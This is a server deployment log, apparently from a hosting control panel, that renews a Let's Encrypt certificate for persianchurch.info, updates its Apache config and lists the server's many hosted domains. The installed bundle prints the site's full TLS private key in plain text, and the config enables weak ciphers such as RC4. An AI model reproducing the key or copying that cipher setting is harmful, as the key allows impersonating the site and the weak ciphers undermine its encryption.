
2026-07-05 18:05:12: 


1


2026-07-05 18:05:13: Establishing a connection
2026-07-05 18:05:13: 

PUT: /tmp/pkp647983

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > 602nlSXNh4NfuyVbTsPlE_A33YwyeYIDCLoCjR3VTS0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
602nlSXNh4NfuyVbTsPlE_A33YwyeYIDCLoCjR3VTS0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 602nlSXNh4NfuyVbTsPlE_A33YwyeYIDCLoCjR3VTS0
cat > ua8rzaEqjTAUcokd1Y3UxkiTKmTKhM3QsH7p08I2GCg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ua8rzaEqjTAUcokd1Y3UxkiTKmTKhM3QsH7p08I2GCg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ua8rzaEqjTAUcokd1Y3UxkiTKmTKhM3QsH7p08I2GCg


2026-07-05 18:05:13: 

chmod 755 /tmp/pkp647983; /tmp/pkp647983; rm /tmp/pkp647983

2026-07-05 18:05:13: 




2026-07-05 18:05:23: Establishing a connection
2026-07-05 18:05:23: 

PUT: /tmp/pkp858196

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm 602nlSXNh4NfuyVbTsPlE_A33YwyeYIDCLoCjR3VTS0
rm ua8rzaEqjTAUcokd1Y3UxkiTKmTKhM3QsH7p08I2GCg


2026-07-05 18:05:23: 

chmod 755 /tmp/pkp858196; /tmp/pkp858196; rm /tmp/pkp858196

2026-07-05 18:05:23: 




2026-07-05 18:05:23: Establishing a connection
2026-07-05 18:05:23: 

PUT: /tmp/pkp402938

#!/bin/bash
temp_file=$(mktemp)
TARGET=8eb6e7ad55f500c5383398213d6ce103.crt

cat > $temp_file <<'endmsg'
36:db:df:a3:c6:96:0f:e9:db:93:c2:ef:b7:46:00:45

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBXLLzMLMzGxbXbFkWEJJUyOaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA1MTcwNjUxWhcNMjYxMDAzMTcwNjUwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCvxsSV7CoyarUoqG32MwoAJg7o0dOtIJfn+uMYVU0no+7CIr8rTE62pF42
6WAd3XtNiWWY2a6jnhPk0VNGPu+w7F3utQuVrsCEM5ljJcimxn8TGe4IW7gkNQXe
8ej8xdggK26pajboohan3FLvi2lCnBS3eslqbJZOCL4bUp9ExY+c89sFAYFjLMl3
stc5wd7ob+E1a3B8RZFuMqOf+VN+fjCJR26L39ImtRzOC3Tl+QVkCvBIS5CyEKR7
ltCb1EssvEM0KuojVyvTnvmy8JwFWuzYGHPdZUv848MP06HhfMEWLwRU2RkLTGn/
zR3oB9Qjb+teyN3V7TxahHpr4OMdAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
aF4gJE3+gjOITsxK2/1sHmag0p0wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdwDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3P
mgAAAZ8zdNEHAAAEAwBIMEYCIQD9GPna9TIC1klMYjatfGKejiwV6cn/YAqhE3H4
9LAUywIhAJdc6rbPadYkmYQZlLR8N/bfOiLvDoZvOejyZPKHpmuUAH0AJuNkblhp
ISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfM3TO/QAIAAAFACXCF40EAwBG
MEQCIEaCKeMtrGKTffqO5b+rs9Z/1X1nOS6RisrniDWsoGYUAiA9wwCTzNaKwMN0
LagXTpIN9c3vBN5wNejjy710KqOTLzANBgkqhkiG9w0BAQsFAAOCAQEAjdvrYIqM
3vgjc4uaqASNCNm+Auo0mrKtLgJAe+g7Z+VuBkJ1bKRbbktc8H3nxelnydjKglnm
FOxQtcc0Ab9B9PeOnH3fLrr00FGqi7elTL5yA8awur1+YD1B7YEcwkNXJIEGf9ZX
zXSDukO2DdIpYB2PpAIRD2W8vzkrlgIUXWdBUwqc9vBeVfjs8wI7437p9HIkpX8V
H+ZSZZnj494k78X9hghZSpoaOlDvbLLBjqL8cy64yCCKTME7H+RtCK3VTyw5vZhp
DQnb1oXwQbpQJ4ugRRBWpi5lm9IJS+n6/kVi3mkJ59ozS89CIRBd3HaivTXMLRWg
ZCOyuosStLnKww==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvxsSV7CoyarUo
qG32MwoAJg7o0dOtIJfn+uMYVU0no+7CIr8rTE62pF426WAd3XtNiWWY2a6jnhPk
0VNGPu+w7F3utQuVrsCEM5ljJcimxn8TGe4IW7gkNQXe8ej8xdggK26pajboohan
3FLvi2lCnBS3eslqbJZOCL4bUp9ExY+c89sFAYFjLMl3stc5wd7ob+E1a3B8RZFu
MqOf+VN+fjCJR26L39ImtRzOC3Tl+QVkCvBIS5CyEKR7ltCb1EssvEM0KuojVyvT
nvmy8JwFWuzYGHPdZUv848MP06HhfMEWLwRU2RkLTGn/zR3oB9Qjb+teyN3V7Txa
hHpr4OMdAgMBAAECggEAAgr5ApZhuypFprj7u4PGVvrE65ccswNmSzo9j20rs2KS
sMuUld081knnamignFg+9EdngzTsdFcEUNbPSp61TG9tfAu7RxG73Q14d+WFhSKu
HBEOFNIevBT9rM9Pmjh2auag/PO7ZaK/SVN53JzYgVStDPYusb+cqOrYbXAyt6rg
hm2zDh8aEcPxm798McEnGyTXJaF46cSfLqBeKXZBSV9mMRTJuy6RoTjitHf9DnC5
IOIr1HVYnSlTiAOutxp6GUQlk1yVgWr/Dmc6xZj4CLWh3RcU6oDZ0f9tmvARB2HM
LphLGdoeQz6nBHDZQC34FqjDWDSA02c5TUCLLvL5ZQKBgQDePXsjkt63qZJ/tQwl
Ifgj+WLeAs6TuL6ctrMrJI9ppFT9g3JHiehF9joxhO8AMQyZ7Mgo+Fos+XkSFukD
Bf33ppvj9fGlmvuzM6Tpc0R6LvCMQekJIt80x7YDA40OP8B3Tsmkk/JggfmoIrwA
rnm6EzfEtXKcCbuBgLuE2CdJewKBgQDKemWCELmF4FzEbiUz3GeiaRMwTS5TN025
B93DYPICLUjT2wrEpqttVoLJOEwBnVu0FbCOopDKgrkscF7oxQ0nzfhtv665m8t1
dzZHikNHejX58Z/JM5mWh8bsZyJmjhNft8Z/ondRylUFnQcieyI76StEBn08HYPW
sxKk27XmRwKBgEioLQP6VloRVFXwKOJS8r9AHzSaElN1SMwPZxApycEt+qNPQCNn
UMrerzPVVBXp80a3hNDwMPsXLJ/fYZqdcORwUfL7S19rBfMWZUn1Z2PSyM3yFm/o
OLUWvcjKdmk8Kn5XAdGOlOU8WRTBFlnasO1Gryreb3PYMrcqESRjTqTVAoGAZ0FF
tK9svL3u8OkupaTXYLZu56nkXuGMDDjbuYAdykhnpEpG0oQgVdDRP2YrNIOXuV16
PTLf3bYOUoA3lkKu88aQ0v72TocJmayijJcQukmzbvPuRT/AKkixg+sQWvZHIP/q
BTrH2HjzJLqwYcAjdCPzQWyBvv9aNUn6zwGQYI8CgYEAhT7FsFkQHxME4qi4vVEw
8/QqpDnxmewIK2LYtTkDPsM3Ie1e/WzMU666TyyhJCdNpPVAkzrEnyAqPHft33Fr
v0Hs6BBX7fd9M1lvBoYnAiGsipmwTPEGIh51+NKhh7zgY+xy+Lgvz4bsUSComJ+a
v7KUWldyLszxaYIDXxqIzBo=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-05 18:05:24: 

chmod 755 /tmp/pkp402938; /tmp/pkp402938; rm /tmp/pkp402938

2026-07-05 18:05:24: 


dir=/etc/ssl/certs


2026-07-05 18:05:24: 

PUT: /tmp/pkp675067

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-05 18:05:24: 

chmod 755 /tmp/pkp675067; /tmp/pkp675067; rm /tmp/pkp675067

2026-07-05 18:05:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-05 18:05:24: 

PUT: /tmp/pkp705842

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2026-07-05 18:05:24: 

chmod 755 /tmp/pkp705842; /tmp/pkp705842; rm /tmp/pkp705842

2026-07-05 18:05:24: 




2026-07-05 18:05:24: 

PUT: /tmp/pkp651484

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-05 18:05:24: 

chmod 755 /tmp/pkp651484; /tmp/pkp651484; rm /tmp/pkp651484

2026-07-05 18:05:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-05 18:05:24: Establishing a connection
2026-07-05 18:05:24: 

PUT: /tmp/pkp288623

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-05 18:05:24: 

chmod 755 /tmp/pkp288623; /tmp/pkp288623; rm /tmp/pkp288623

2026-07-05 18:05:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-05 18:05:24: 

PUT: /tmp/pkp592148

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
